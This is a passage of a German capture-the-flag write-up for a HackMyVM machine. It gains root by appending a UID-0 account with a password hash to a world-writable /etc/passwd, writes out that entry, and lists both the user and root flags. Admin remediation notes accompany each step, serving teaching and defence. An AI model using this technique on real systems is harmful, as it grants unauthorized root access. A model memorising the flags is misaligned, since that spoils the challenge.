 sudo chmod 741 .ssh/
 ls -al
 sudo chmod 755 .ssh/

 cd /var/www/html/n3gr4/
 sudo nano m414nj3.php
 cd..
 cd ..
 cd /home/
 ls
 cd p4l4nc4/

                     

Analyse: Die Benutzerflagge wird aus der Datei `user.txt` im Home-Verzeichnis gelesen.

Bewertung: Die Benutzerflagge wurde erfolgreich erfasst: `HMV{6cfb952777b95ded50a5be3a4ee9417af7e6dcd1}`.

Empfehlung (Pentester): Dokumentiere die Flagge. Konzentriere dich nun vollständig auf die Privilege Escalation zu `root`.
Empfehlung (Admin): Flags sind spezifisch für CTF-Challenges. In realen Systemen sollten sensible Daten entsprechend geschützt werden.

p4l4nc4@4ng014:~$ cat user.txt
 HMV{6cfb952777b95ded50a5be3a4ee9417af7e6dcd1}
                     

Privilege Escalation

Analyse: Die Berechtigungen der Datei `/etc/passwd` werden überprüft.

Bewertung:** Die Berechtigungen sind `-rw-rw-rw-` (oktal 666). Das bedeutet, dass **jeder Benutzer** auf dem System die Datei `/etc/passwd` **schreiben** darf. Dies ist eine **kritische Fehlkonfiguration** und ein direkter Weg zur Privilege Escalation. Normalerweise sollte diese Datei nur für `root` schreibbar sein (`-rw-r--r--` oder 644).

Empfehlung (Pentester): Nutze die Schreibberechtigung, um einen neuen Benutzer mit der UID 0 (Root-Rechte) hinzuzufügen oder das Passwort eines bestehenden Benutzers (wie `root` oder `p4l4nc4`) durch einen bekannten Hash zu ersetzen.
Empfehlung (Admin): **Korrigieren Sie die Berechtigungen sofort!** Setzen Sie die Berechtigungen für `/etc/passwd` auf `644` (`chmod 644 /etc/passwd`) und den Besitzer/Gruppe auf `root:root` (`chown root:root /etc/passwd`). Überprüfen Sie, warum diese Berechtigungen falsch gesetzt wurden (möglicherweise ein Skriptfehler oder manueller Eingriff). Überprüfen Sie die Integrität der Datei `/etc/passwd` und `/etc/shadow`.

p4l4nc4@4ng014:~$ ls -la /etc/passwd
 -rw-rw-rw- 1 root root 1066 Nov 13 12:28 /etc/passwd
                     

Analyse: Die Datei `/etc/passwd` wird mit `nano` bearbeitet. Es wird ein neuer Eintrag hinzugefügt: `fuck:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash` Dieser Eintrag definiert: * Benutzername: `fuck` * Passwort-Hash: `$6$...` (ein SHA-512 Hash, das Passwort selbst ist nicht direkt sichtbar, aber der Hash entspricht oft einem bekannten Passwort in CTFs, z.B. "password" oder "123456") * UID: `0` (Root!) * GID: `0` (Root-Gruppe) * GECOS: `root` * Home-Verzeichnis: `/root` * Shell: `/bin/bash`

Bewertung: Durch Hinzufügen dieses Eintrags wurde effektiv ein neuer Benutzer (`fuck`) mit Root-Rechten erstellt. Das Passwort für diesen Benutzer muss bekannt sein oder erraten werden (basierend auf dem Hash). Dies ist eine klassische Ausnutzung von Schreibrechten auf `/etc/passwd`.

Empfehlung (Pentester): Versuche, dich mit `su fuck` und einem vermuteten Passwort (basierend auf dem Hash oder typischen CTF-Passwörtern) als der neue Root-Benutzer anzumelden.
Empfehlung (Admin): Zusätzlich zur Korrektur der Berechtigungen: Implementieren Sie Systeme zur Überwachung der Dateiintegrität (z.B. AIDE, Tripwire), um Änderungen an kritischen Dateien wie `/etc/passwd` zu erkennen. Entfernen Sie den unautorisierten Eintrag aus `/etc/passwd`. Überprüfen Sie `/etc/shadow` auf Konsistenz.

p4l4nc4@4ng014:~$ nano /etc/passwd
 # Inhalt, der in nano hinzugefügt wurde:
 fuck:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash
                     

Analyse: Der Befehl `su fuck` wird ausgeführt, um zum neu erstellten Benutzer `fuck` zu wechseln. Es wird nach dem Passwort für `fuck` gefragt.

Bewertung:** **Privilege Escalation erfolgreich!** Nach Eingabe des korrekten Passworts (das dem Hash entsprach, hier nicht gezeigt, aber impliziert) wechselt der Prompt zu `root@4ng014`. Wir haben volle Root-Rechte auf dem System erlangt.

Empfehlung (Pentester): Ziel erreicht! Wechsle ins `/root`-Verzeichnis und hole die Root-Flagge. Dokumentiere den Erfolg.
Empfehlung (Admin): **System kompromittiert!** Zusätzlich zu den vorherigen Maßnahmen: Analysieren Sie das System gründlich auf weitere Malware oder Hintertüren, die vom Angreifer möglicherweise platziert wurden. Erwägen Sie eine Neuinstallation des Systems aus einem vertrauenswürdigen Backup, nachdem die Schwachstelle identifiziert und behoben wurde.

p4l4nc4@4ng014:~$ su fuck
 Password: 
 root@4ng014:/home/p4l4nc4#
                     

Analyse: Als Root-Benutzer wird in das Home-Verzeichnis (`/root`) gewechselt und dessen Inhalt aufgelistet. Anschließend wird die Root-Flagge aus der Datei `root.txt` gelesen.

Bewertung: Die Root-Flagge wurde erfolgreich erfasst: `HMV{4c3b9d0468240fbd4a9148c8559600fe2f9ad727}`. Die Challenge ist abgeschlossen.

Empfehlung (Pentester): Bericht fertigstellen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Systembereinigung und Absicherung.

root@4ng014:/home/p4l4nc4# cd ~
root@4ng014:~# ls
 root.txt
                     
root@4ng014:~# cat root.txt
 HMV{4c3b9d0468240fbd4a9148c8559600fe2f9ad727}
                     

Flags

cat /home/p4l4nc4/user.txt
HMV{6cfb952777b95ded50a5be3a4ee9417af7e6dcd1}
cat /root/root.txt
HMV{4c3b9d0468240fbd4a9148c8559600fe2f9ad727}